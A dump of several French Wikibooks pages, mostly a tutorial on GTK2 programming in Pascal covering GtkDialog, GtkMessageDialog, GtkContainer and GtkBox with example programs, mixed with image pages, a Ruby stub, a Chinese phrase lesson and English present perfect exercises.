Pascal}} == Gtk+ et Pascal == === Bibliographie === * Aucun livre ''à ma connaissance''. === Document PDF === * Florian Klaempfl et Michael Van Canneyt, [http://www.freepascal.org/packages/gtk/gtk-1.pdf http://www.freepascal.org/packages/gtk/gtk-1.pdf] suivi de [http://www.freepascal.org/packages/gtk/gtk-2.pdf 2] [http://www.freepascal.org/packages/gtk/gtk-3.pdf 3] [http://www.freepascal.org/packages/gtk/gtk-4.pdf 4] [http://www.freepascal.org/packages/gtk/gtk-5.pdf 5] : en anglais, Gtk+ version 1. === Sites internet === * [http://www.freepascal.org/packages/gtk/tutorial/pgtk-contents.html http://www.freepascal.org/packages/gtk/tutorial/pgtk-contents.html]. En anglais, Gtk+ version 1. == Gtk+ == === Bibliographie === * David Odin, ''Programmation Linux avec GTK+'', Eyrolles, Paris, 2000, 656 pages.<br />Langage C et Gtk+ version 1. === Sites internet === * [http://www.gtk.org http://www.gtk.org] : site officiel de Gtk+. En anglais.<br />Tutoriel [http://www.gtk.org/tutorial/], Manuel de référence [http://www.gtk.org/api/] et FAQ [http://www.gtk.org/faq/] : Exemples et prototypes des fonctions en C, Gtk+ version 2. * [http://www.gtk-fr.org/ http://www.gtk-fr.org/] : wiki français, langage C et Gtk+ version 2. == Pascal == Voir le livre [[Programmation Pascal]]. Programmation GTK2 en Pascal - GtkDialog 2500 14089 2005-04-10T13:26:20Z Didier 186 /* Ajout d'éléments dans la zone de travail */ s/->/^./ {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkDialog''' permet de gérer un style de fenêtre particulier : les boîtes de dialogue. Elles permettent de demander à l'utilisateur des informations ou de poser des questions. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkWindow|GtkWindow]] └─'''GtkDialog''' |} == Utilisation de base == === Composition de la boîte de dialogue === Une boîte de dialogue de type <code>GtkDialog</code> est constituée de trois éléments : * un conteneur <code>[[Programmation GTK2 en Pascal - GtkVBox|GtkVBox]]</code> global qui contiendra tous les contrôles affichés ; * un contrôle <code>[[Programmation GTK2 en Pascal - GtkHSeparator|GtkHSeparator]]</code> qui sert de séparation entre la zone de saisie et la zone des boutons ; * un conteneur <code>[[Programmation GTK2 en Pascal - GtkHBox|GtkHBox]]</code> qui contiendra les boutons de réponse. On peut donc ainsi distinguer deux zones différentes : * la zone de travail au-dessus de la <code>GtkHSeparator</code> ; * la zone de réponse au-dessous de la <code>GtkHSeparator</code> === Création de la fenêtre === La fonction de création est un peu plus complexe que d'habitude : function gtk_dialog_new_with_buttons(title : Pgchar; parent : PGtkWindow; flags : TGtkDialogFlags; first_button_text : Pgchar; args : array of const) : PGtkWidget; Le premier paramètre <code>title</code> n'est autre que le titre de la boîte de dialogue. Le deuxième paramètre <code>parent</code> sert à désigner la fenêtre parente. Cette valeur peut être égale à NULL. Le troisième paramètre <code>flags</code> permet de définir certains paramètres de la boîte de dialogue. Ce paramètre peut prendre trois valeurs différentes : * GTK_DIALOG_MODAL : créer une boîte de dialogue modale, c'est à dire que tant que l'utilisateur n'a pas cliqué sur un des boutons de réponse, les autres fenêtres seront figées ; * GTK_DIALOG_DESTROY_WITH_PARENT : la boîte de dialogue est détruite si la fenêtre parente est détruite ; * GTK_DIALOG_NO_SEPARATOR : la ligne de séparation entre la zone de travail et la zone de réponse n'est pas affichée. Enfin, le dernier paramètre est plutôt une liste de paramètres permettant de définir les boutons de la boîte de dialogue ainsi que les réponses qui leurs sont associées. Pour chaque bouton que nous voulons ajouter, il faut définir le texte du bouton et le type de réponse qui sera envoyé lorsque nous cliquerons sur le bouton. Le texte du bouton peut, comme pour tous les boutons, être un texte normal, un texte avec raccourci (de la forme "_Quitter") ou même une valeur de type <code>[[Programmation GTK2 en Pascal - GtkStockItem|GtkStockItem]]</code> dont voici une toute partie de la liste : * GTK_STOCK_OK ; * GTK_STOCK_CANCEL ; * GTK_STOCK_YES ; * GTK_STOCK_NO ; * GTK_STOCK_SAVE. La valeur de la réponse, peut être un élément de type <code>GtkResponseType</code> ou bien une valeur entière positive que nous pouvons définir nous-mêmes. Le plus simple étant bien sûr d'utiliser les valeurs classiques définies par le type <code>GtkResponseType</code> dont voici la liste : * GTK_RESPONSE_NONE ; * GTK_RESPONSE_REJECT ; * GTK_RESPONSE_ACCEPT ; * GTK_RESPONSE_DELETE_EVENT ; * GTK_RESPONSE_OK ; * GTK_RESPONSE_CANCEL ; * GTK_RESPONSE_CLOSE ; * GTK_RESPONSE_YES ; * GTK_RESPONSE_NO ; * GTK_RESPONSE_APPLY ; * GTK_RESPONSE_HELP. Une fois que tous les boutons ont été définis, il faut le dire à notre fonction de création. Pour cela, il suffit de terminer la liste des paramètres par NULL. === Ajout d'éléments dans la zone de travail === La majeure partie des éléments de la boîte de dialogue sont maintenant créés. Il reste cependant à ajouter les éléments de la zone de travail pour que la boîte soit complète. Une fois que ceux-ci sont créés, il suffit de les ajouter dans la boîte de dialogue avec la fonction <code>gtk_box_pack_start</code>. La question est maintenant de savoir comment passer la <code>GtkVBox</code> en paramètre à la fonction <code>gtk_box_pack_start</code>. Nous allons tout simplement utiliser l'opérateur <code>^.</code> pour l'élément GtkDialog de cette manière : GTK_DIALOG(nom_de_la_fenêtre)^.vbox; La boîte de dialogue est maintenant complète. === Affichage de la boîte de dialogue === L'affichage de la boîte de dialogue comporte deux étapes. Tout d'abord, il faut demander d'afficher tout le contenu de la <code>GtkVBox</code> qui est inclut dans la boîte de dialogue avec la fonction <code>gtk_widget_show_all</code>. Ensuite il faut afficher la boîte de dialogue elle-même et attendre la réponse de l'utilisateur avec cette fonction : function gtk_dialog_run(dialog : PGtkDialog) : gint; Le paramètre de cette fonction étant de type <code>PGtkDialog</code> il faut utiliser la fonction de conversion GTK_DIALOG(). Cette fonction affiche l'intégralité de la boîte de dialogue, mais rentre aussi dans une boucle récursive qui ne s'arrêtera que lorsque l'utilisateur cliquera sur un des boutons de retour. La valeur de retour correspond à la valeur associée au bouton cliqué. Si, par hasard, l'utilisateur quitte la boîte de dialogue en cliquant sur la croix de celle-ci, <code>gtk_dialog_run</code> renvoie <code>GTK_DELETE_EVENT</code>. Une fois la valeur de retour connue, il ne reste plus qu'à agir en conséquence. == Programme exemple == L'exemple de ce chapitre est constitué d'une fenêtre principale dans laquelle nous allons ajouter un <code>GtkButton</code> et un <code>GtkLabel</code>. Lorsque l'utilisateur clique sur le <code>GtkButton</code>, une boîte de dialogue apparaîtra et demandera à l'utilisateur de saisir son nom. Cette boîte de dialogue sera constituée d'une <code>GtkEntry</code>, d'un <code>GtkButton</code> « OK » et d'un <code>GtkButton</code> « Annuler ». Si l'utilisateur clique sur « OK » le contenu de la <code>GtkEntry</code> sera copié dans le <code>GtkLabel</code> de la fenêtre principale tandis que s'il clique sur « Annuler » on affichera « Vous n'avez rien saisi. » dans le <code>GtkLabel</code>. Voici le fichier <code>gtk003.pas</code>, pour faire simple il a été utilisé des variables globales ce qui n'est pas forcément à conseiller : program gtk003; uses glib2, gtk2; var pWindow : PGtkWidget; pLabel : PGtkWidget; procedure LancerBoite; var pBoite : PGtkWidget; pChampSaisie : PGtkWidget; Nom : PGChar; begin // Creation de la boîte de dialogue // - 1 bouton Valider (« Ok ») // - 1 bouton Annuler pBoite := gtk_dialog_new_with_buttons('Saisie du nom', GTK_WINDOW(pWindow), GTK_DIALOG_MODAL, GTK_STOCK_OK, [GTK_RESPONSE_OK, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, NULL]); // Creation de la zone de saisie pChampSaisie := gtk_entry_new(); gtk_entry_set_text(GTK_ENTRY(pChampSaisie), 'Saisissez votre nom'); // Insertion de la zone de saisie dans la boîte de dialogue // Rappel : paramètre 1 de gtk_box_pack_start de type GtkBox gtk_box_pack_start(GTK_BOX(GTK_DIALOG(pBoite)^.vbox), pChampSaisie, TRUE, FALSE, 0); // Affichage des éléments de la boîte de dialogue gtk_widget_show_all(GTK_DIALOG(pBoite)^.vbox); // On lance la boîte de dialogue et on récupère la réponse case gtk_dialog_run(GTK_DIALOG(pBoite)) of // L'utilisateur valide GTK_RESPONSE_OK : begin Nom := gtk_entry_get_text(GTK_ENTRY(pChampSaisie)); gtk_label_set_text(GTK_LABEL(pLabel), Nom); end; // L'utilisateur annule GTK_RESPONSE_CANCEL, GTK_DELETE_EVENT : begin <nowiki>gtk_label_set_text(GTK_LABEL(pLabel), 'Vous n''avez rien saisi !');</nowiki> end; else begin gtk_label_set_text(GTK_LABEL(pLabel), 'Réponse inattendue !'); end; end; // Destruction de la boîte de dialogue gtk_widget_destroy(pBoite); end; procedure OnDestroy(widget : PGtkwidget; data : pgpointer); cdecl; begin gtk_main_quit; end; var pVBox : PGtkWidget; pBouton : PGtkWidget; begin gtk_init(@argc, @argv); pWindow := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pWindow), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pWindow), 320, 200); gtk_window_set_title(GTK_WINDOW(pWindow), 'Fenêtre principale'); gtk_signal_connect(pGTKOBJECT(pWindow), 'destroy', GTK_SIGNAL_FUNC(@OnDestroy), NULL); // Création de la GtkVBox pVBox := gtk_vbox_new(TRUE, 0); gtk_container_add(GTK_CONTAINER(pWindow), pVBox); // Création du bouton pBouton := gtk_button_new_with_label('Cliquez ici pour saisir votre nom'); gtk_box_pack_start(GTK_BOX(pVBox), pBouton, FALSE, TRUE, 0); // Création du label pLabel := gtk_label_new(NULL); gtk_box_pack_start(GTK_BOX(pVBox), pLabel, FALSE, FALSE, 0); // Connexion du signal « clicked » pour ouvrir la boîte de dialogue g_signal_connect(pGTKOBJECT(pBouton), 'clicked', GTK_SIGNAL_FUNC(@LancerBoite), NULL); gtk_widget_show_all(pWindow); gtk_main; end. Voila ce que donne l'exécution du programme gtk003 : La fenêtre principale s'affiche et on clique sur le bouton « Cliquez ici pour saisir votre nom » [[Image:Programmation_GTK2_en_Pascal_-_gtk003-1.png]] Dans la fenêtre de dialogue, on a saisi « Didier » puis cliqué sur « Valider » [[Image:Programmation_GTK2_en_Pascal_-_gtk003-2.png]] {{Modèle:Programmation GTK2 en Pascal - Fenêtres}} [[Catégorie:Programmation GTK2 en Pascal|GtkDialog]] Cours intermédiaires I : Demander son chemin 2501 14090 2005-05-22T17:19:19Z VIGNERON 312 Je voudrais aller à Pékin = "wǒ yào qù beǐjing" 我要去北京 (se prononce "wo yao tchu paye tching") Pékin : beǐjing 北京 '''retour à l'[[Enseignement du chinois]]''' Image:Ingredients carbonade.png 2502 14091 2005-02-11T08:58:35Z Antoinel 182 Image:ingredients_carbonade.png {{GFDL}} Programmation Ruby Types stds 2504 14092 2005-02-12T12:29:26Z Ganjo 161 [[Programmation Ruby|<< Retour au sommaire]] Nous allons voir ici tout les types que nous pouvons considérer comme "standards", dans le sens où nous les retrouvons dans la plupart des langages, et que ceux-ci sont directement intégrés à l'interpreteur (''built-in''). Néanmoins il ne faut pas perdre de vue qu'il sagit en réalité d'objets. == Chaîne de caractères == En ruby les chaines de caractères sont représentées par l'objet "''String''". En réalité cet objet contient et permet la manipulation d'un nombre indéfini d'octets, typiquement des caractères, nous pourrons néanmois y stocker tout types de données binaires ou non. Pour rappel les méthodes terminant par ''!'' sont non pures : elles modifient l'objet. == Valeur numérique == == Expression rationelle == Image:Programmation GTK2 en Pascal - gtk003-1.png 2505 14093 2005-02-11T18:10:43Z Didier 186 Exemple du programme gtk003.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk003.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk003-2.png 2506 14094 2005-02-11T18:11:15Z Didier 186 Exemple du programme gtk003.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk003.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Anglais : Parfait présent Test 2507 41748 2006-05-07T11:11:05Z Eileen 1485 /* Exercice 2 */ __NOTOC__ = Exercices= ==Exercice 1== Conjuguez les verbes suivants aux formes demandées : #to be ill/parfait présent simple/1ère pers. du sing. #to come/parfait présent simple/3ème pers. du plur. #to work/parfait présent progressif/1ère pers. du plur. #to sleep/parfait présent progressif/2ème pers. du sing. #to eat/parfait présent simple/3 pers. du sing. <br /> ==Exercice 2== Employez le parfait présent simple ou le parfait progressif : #Ils sont mariés depuis décembre. #Depuis combien de temps pleut-il ? #Il a acheté un vélo. = Solutions = ==Exercice1== #I've been ill #they've come #we have been working #you have been sleeping #he has eaten ==Exercice 2== #They've been married since December. #How long has it been raining ? #He has bought a bike. <br />Retour [[Anglais : Parfait présent]] Image:Programmation GTK2 en Pascal - gtk004-1.png 2508 14096 2005-02-11T20:45:04Z Didier 186 Exemple du programme gtk004.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk004.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkMessageDialog 2509 14097 2005-02-13T11:52:19Z Didier 186 /* Programme exemple */ ajout modèle fenêtre {{Programmation GTK2 en Pascal}} == Présentation == Pour simplifier l'affichage de message à l'aide d'une boîte de dialogue, Gtk+ offre un nouveau contrôle qui dérive directement de <code>[[Programmation GTK2 en Pascal - GtkDialog|GtkDialog]]</code> : le contrôle '''GtkMessageDialog'''. Ce contrôle permet de créer une boîte de dialogue complète avec une seule fonction. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkWindow|GtkWindow]] └─[[Programmation GTK2 en Pascal - GtkDialog|GtkDialog]] └─'''GtkMessageDialog''' |} == Utilisation de bases == === Création === L'unique fonction de ce contrôle est celle permettant de créer la boîte de dialogue : function gtk_message_dialog_new(parent : PGtkWindow; flags : TGtkDialogFlags; _type : TGtkMessageType; buttons : TGtkButtonsType; message_format : Pgchar; args : array of const) : PGtkWidget; Les paramètres <code>parent</code> et <code>flags</code> sont identiques à ceux du contrôle <code>[[Programmation GTK2 en Pascal - GtkDialog|GtkDialog]]</code>, nous ne reviendrons donc pas dessus et allons nous concentrer sur les nouveaux paramètres. Le tout premier <code>_type</code>, permet de définir le texte qui sera affiché dans la barre de titre de la boîte de dialogue ainsi que l'icône correspondant. Ce paramètre est de type <code>GtkMessageType</code> et peut prendre une des quatre valeurs suivantes : * GTK_MESSAGE_INFO : titre de la boîte « Information » ; * GTK_MESSAGE_WARNING : titre de la boîte « Avertissement » ; * GTK_MESSAGE_QUESTION : titre de la boîte « Question » ; * GTK_MESSAGE_ERROR : titre de la boîte « Erreur ». Le deuxième nouveau paramètre <code>buttons</code>, de type <code>GtkButtonsType</code>, permet de définir les boutons qui seront présents en bas de la boîte de dialogue. Les valeurs autorisées sont les suivantes : * GTK_BUTTONS_NONE * GTK_BUTTONS_OK * GTK_BUTTONS_CLOSE * GTK_BUTTONS_CANCEL * GTK_BUTTONS_YES_NO * GTK_BUTTONS_OK_CANCEL Et le dernier paramètre <code>message_format</code> est tout simplement le texte qui sera affiché à l'intérieur de la boîte de dialogue. Ce texte peut être formaté comme il est possible de le faire avec la fonction <code>Format</code>. == Programme exemple == Nous allons créer une fenêtre comportant deux boutons. Le premier permettra d'afficher les informations habituelles d'une boîte de dialogue « À propos... ». Le deuxième offrira la possibilité de quitter le programme, en passant par une demande de confirmation à l'utilisateur. Voici le fichier <code>gtk004.pas</code> : program gtk004; uses glib2, gtk2; procedure OnBtnAProposClick(AWidget : PGtkwidget; AData : PGPointer); cdecl; var pAbout : PGtkWidget; Site : PGChar; begin // Création de la boîte de message // Type : Information -> GTK_MESSAGE_INFO // Bouton : 1 OK -> GTK_BUTTONS_OK Site := '- WikiLivres -'; pAbout := gtk_message_dialog_new (GTK_WINDOW(AData), GTK_DIALOG_MODAL, GTK_MESSAGE_INFO, GTK_BUTTONS_OK, 'Cours Gtk+ 2.0 en Pascal'#13#10'%s', [Site]); // Affichage de la boîte de message gtk_dialog_run(GTK_DIALOG(pAbout)); // Destruction de la boîte de message gtk_widget_destroy(pAbout); end; procedure OnBtnQuitterClick(AWidget : PGtkwidget; AData : PGPointer); cdecl; var pQuestion : PGtkWidget; begin // Création de la boîte de message // Type : Question -> GTK_MESSAGE_QUESTION // Boutons : 1 OUI, 1 NON -> GTK_BUTTONS_YES_NO pQuestion := gtk_message_dialog_new(GTK_WINDOW(AData), GTK_DIALOG_MODAL, GTK_MESSAGE_QUESTION, GTK_BUTTONS_YES_NO, 'Voulez vous vraiment'#13#10'quitter ce programme?'); // Affichage et attente d'une réponse case gtk_dialog_run(GTK_DIALOG(pQuestion)) of GTK_RESPONSE_YES : begin // OUI -> on quitte l application gtk_main_quit; end; GTK_RESPONSE_NO : begin // NON -> on detruit la boite de message gtk_widget_destroy(pQuestion); end; end; end; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBtnAPropos : PGtkWidget; pBtnQuitter : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Fenêtre principale'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); // Création de la GtkVBox pVBox := gtk_vbox_new(TRUE, 0); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création des boutons pBtnAPropos := gtk_button_new_with_label('À propos...'); gtk_box_pack_start(GTK_BOX(pVBox), pBtnAPropos, TRUE, FALSE, 0); g_signal_connect(pGTKOBJECT(pBtnAPropos), 'clicked', GTK_SIGNAL_FUNC(@OnBtnAProposClick), pGTKOBJECT(pFenetre)); pBtnQuitter := gtk_button_new_from_stock(GTK_STOCK_QUIT); gtk_box_pack_start(GTK_BOX(pVBox), pBtnQuitter, TRUE, FALSE, 0); g_signal_connect(pGTKOBJECT(pBtnQuitter), 'clicked', GTK_SIGNAL_FUNC(@OnBtnQuitterClick), pGTKOBJECT(pFenetre)); gtk_widget_show_all(pFenetre); gtk_main; end. Voila ce que donne l'exécution du programme gtk004 : La fenêtre principale s'affiche et on clique sur le bouton « À propos... » [[Image:Programmation_GTK2_en_Pascal_-_gtk004-1.png]] On clique sur « Valider » puis de retour dans la fenêtre principale on clique sur « Quitter » [[Image:Programmation_GTK2_en_Pascal_-_gtk004-2.png]] {{Modèle:Programmation GTK2 en Pascal - Fenêtres}} Image:Programmation GTK2 en Pascal - gtk004-2.png 2510 14098 2005-02-11T20:49:01Z Didier 186 Exemple du programme gtk004.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk004.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - Les conteneurs 2511 14099 2005-02-11T21:53:14Z Didier 186 + GtkBin {{Programmation GTK2 en Pascal}} GTK+ permet de gérer plusieurs types de '''conteneurs'''. * Des classes ancêtres non utilisées directement et dont les fonctions sont intéressantes : ** [[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] ** [[Programmation GTK2 en Pascal - GtkBox|GtkBox]] ** [[Programmation GTK2 en Pascal - GtkBin|GtkBin]] * Des classes utilisables et très utiles (certaines nous sont d'ailleurs déjà connues) : ** [[Programmation GTK2 en Pascal - GtkHBox|GtkHBox]] ** [[Programmation GTK2 en Pascal - GtkVBox|GtkVBox]] ** [[Programmation GTK2 en Pascal - GtkTable|GtkTable]] : un autre système pour placer les contrôles ** [[Programmation GTK2 en Pascal - GtkNotebook|GtkNotebook]] : les boîtes à onglets Programmation GTK2 en Pascal - GtkContainer 2512 14100 2005-02-13T11:59:14Z Didier 186 ajout modèle conteneurs {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkContainer''' est un contrôle de base qui va nous permettre d'insérer un ou plusieurs contrôle dans un autre contrôle. En effet si l'on veut insérer du texte dans une fenêtre, il va bien falloir insérer le <code>GtkLabel</code> quelque part. C'est là que l'on s'aperçoit que le contrôle <code>GtkWindow</code> dérive du contrôle <code>GtkContainer</code> et que l'on va pouvoir insérer le texte dans la fenêtre. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] |} == Utilisation de base == Le contrôle <code>GtkContainer</code> n'est pas utilisé en temps que tel mais plutôt au travers d'autres contrôles qui en dérivent. Par exemple, les <code>GtkHBox</code>, <code>GtkVBox</code>, <code>GtkWindow</code>, etc. === Ajout et suppression d'éléments === La fonction pour ajouter un élément à un <code>GtkContainer</code> est très souvent utilisée mais elle est aussi très simple d'utilisation : procedure gtk_container_add(container : PGtkContainer; widget : PGtkWidget); Le paramètre <code>container</code> est le contrôle parent dans lequel on veut insérer le contrôle enfant qui vient en deuxième paramètre. Le premier paramètre demande un contrôle du type <code>GtkContainer</code>, il est très probable que le contrôle parent ne soit pas de ce type là, mais d'une classe fille. Il faudra donc utiliser la fonction GTK_CONTAINER(). Pour la suppression c'est aussi simple, il faut utiliser la fonction : procedure gtk_container_remove(container : PGtkContainer; widget : PGtkWidget); Attention, avec cette fonction le contrôle <code>widget</code> va être détruit. === Espacement === Avec le contrôle <code>GtkContainer</code>, il existe la possibilité de laisser un espace minimum entre le bord du contrôle parent et le bord du contrôle enfant. Cela est rendu possible grâce à cette fonction : procedure gtk_container_set_border_width(container : PGtkContainer; border_width : guint); Le paramètre <code>border_width</code> correspond à l'espacement minimum. Et pour connaître la valeur de cet espacement, il y a la fonction : function gtk_container_get_border_width(container : PGtkContainer) : guint; {{Modèle:Programmation GTK2 en Pascal - Conteneurs}} Programmation GTK2 en Pascal - GtkBox 2513 14101 2005-02-13T11:59:16Z Didier 186 ajout modèle conteneurs {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkBox''' est un contrôle conteneur que nous n'allons pas utiliser directement mais plutôt par la biais de deux contrôles fils qui sont <code>[[Programmation GTK2 en Pascal - GtkHBox|GtkHBox]]</code> et <code>[[Programmation GTK2 en Pascal - GtkVBox|GtkVBox]]</code>. Le but principal d'une <code>GtkBox</code> (qu'elle soit H ou V) et de pouvoir contenir plusieurs contrôles dans une même boite. Les contrôles sont pour ainsi dire empiler les uns sur les autres. Nous allons donc étudier les quelques fonctions de ce contrôle qui nous sont utiles. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBox|GtkBox]] |} == Utilisation de base == === Ajout de contrôle === Avant de pouvoir ajouter un contrôle dans une <code>GtkHBox</code> ou <code>GtkVBox</code>, il faut savoir que pour une <code>GtkBox</code> il existe la notion de premier et de dernier contrôle. Nous allons donc pouvoir ajouter des contrôles soit par le début soit par la fin avec une de ces deux fonctions : procedure gtk_box_pack_start(box : PGtkBox; child : PGtkWidget; expand : gboolean; fill : gboolean; padding : guint); procedure gtk_box_pack_end(box : PGtkBox; child : PGtkWidget; expand : gboolean; fill : gboolean; padding : guint); La première fonction ajoute un contrôle par le début de la <code>GtkBox</code> et la deuxième par la fin. Pour les paramètres, ils sont les mêmes pour les deux fonctions. Le premier, <code>box</code>, est en fait le contrôle conteneur dans lequel nous allons insérer le contrôle <code>child</code> qui vient en deuxième paramètre. Le troisième paramètre, <code>expand</code> nécessite un petite explication. Nous ne le voyons pas ici, mais lors de la création d'une <code>GtkHBox</code> ou <code>GtkVBox</code>, il faut définir une propriété appelée <code>homogeneous</code>. Cette propriété détermine si les contrôles qui sont à l'intérieur de la <code>GtkBox</code> vont se partager l'intégralité de l'espace fourni, ou alors réserver uniquement la place qui leur est nécessaire (la fonction pour mettre à jour cette propriété est <code>gtk_box_set_homogeneous</code>). Petit exemple, nous avons un espace de 3 pixels dans lequel nous voulons insérer deux contrôles de 1 pixel. Si le paramètre <code>homogeneous</code> est à TRUE, chaque contrôle réservera un espace de 1,5 pixel. Au contraire si il est à FALSE, chaque contrôle réservera un espace de 1 pixel, laissant donc un espace libre de 1 pixel à la fin. Revenons donc au paramètre <code>expand</code>. Si la <code>GtkBox</code> est homogène, la valeur de ce paramètre n'a aucune importance. Par contre si la <code>GtkBox</code> n'est pas homogène, le fait de mettre <code>expand</code> à TRUE à un contrôle va lui permettre de partager l'espace restant dans la <code>GtkBox</code> avec les autres contrôles qui auront été insérés avec <code>expand</code> à TRUE. Reprenons notre exemple. La <code>GtkBox</code> n'est pas homogène, donc normalement chaque contrôle va réserver 1 pixel de l'espace. Si nous mettons le premier contrôle avec <code>expand</code> à TRUE et le deuxième avec <code>expand</code> à FALSE, le deuxième contrôle réservera un espace de 1 pixel, le premier aussi mais il doit se partager l'espace libre (1 pixel) avec les autres contrôles qui ont aussi la propriété <code>expand</code> à TRUE. Comme il est tout seul avec cette propriété, il va donc réserver 2 pixels. Le paramètre <code>fill</code> permet de définir si le contrôle enfant occupe toute la zone qui lui est réservée. Il n'est utilisé que si <code>expand</code> est à TRUE. Et enfin, le paramètre <code>padding</code> permet d'ajouter de l'espace autour du contrôle. À noter les deux fonctions : procedure gtk_box_pack_start_defaults(box : PGtkBox; widget : PGtkWidget); procedure gtk_box_pack_end_defaults(box : PGtkBox; widget : PGtkWidget); Elles sont équivalentes aux deux fonctions ci-dessus avec les trois derniers paramètres positionnés par défaut : <code>expand</code> est à TRUE, <code>fill</code> est à TRUE et <code>padding</code> est à 0. == Programme exemple == Dans cette exemple, nous allons insérer un bouton dans la <code>GtkVBox</code>, deux boutons dans une <code>GtkHBox</code> elle-même dans la <code>GtkVBox</code> puis enfin un bouton dans la <code>GtkVBox</code>, afin d'étudier les fonctions d'ajout du contrôle <code>GtkBox</code>. Voilà le fichier <code>gtk005.pas</code> : program gtk005; uses glib2, gtk2; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pHBox : PGtkWidget; pBouton : array [1..4] of PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk005 : GtkBox'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); // Création de la GtkVBox pVBox := gtk_vbox_new(TRUE, 0); // Ajout de la GtkVBox dans la fenêtre gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création des boutons pBouton[1] := gtk_button_new_with_label('Bouton 1'); pBouton[2] := gtk_button_new_with_label('Bouton 2'); pBouton[3] := gtk_button_new_with_label('Bouton 3'); pBouton[4] := gtk_button_new_with_label('Bouton 4'); // Ajout du bouton 1 dans la GtkVBox gtk_box_pack_start(GTK_BOX(pVBox), pBouton[1], TRUE, FALSE, 0); // Creation de la « boîte » horizontale pHBox := gtk_hbox_new(TRUE, 0); // Ajout de la GtkHBox dans la GtkVBox gtk_box_pack_start(GTK_BOX(pVBox), pHBox, TRUE, TRUE, 0); // Ajout des boutons 2 et 3 dans la GtkHBox gtk_box_pack_start(GTK_BOX(pHBox), pBouton[2], TRUE, TRUE, 0); gtk_box_pack_start(GTK_BOX(pHBox), pBouton[3], TRUE, FALSE, 0); // Ajout du dernier bouton dans la GtkVBox gtk_box_pack_start(GTK_BOX(pVBox), pBouton[4], TRUE, TRUE, 0); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk005</code> : [[Image:Programmation GTK2 en Pascal - gtk005.png]] Récapitulatif des paramètres de <code>gtk_box_pack_start</code> pour chaque bouton : {| border="1" cellpadding="2" cellspacing="0" | '''Bouton''' || width=50 | ''expand'' || width=50 | ''fill'' |- | n° 1 || True || False |- | n° 2 || True || True |- | n° 3 || True || False |- | n° 4 || True || True |} {{Modèle:Programmation GTK2 en Pascal - Conteneurs}} Enseignement du bambara 2514 14102 2005-06-25T15:00:18Z Guaka 165 ** [[Animaux (bambara)|Animaux]] 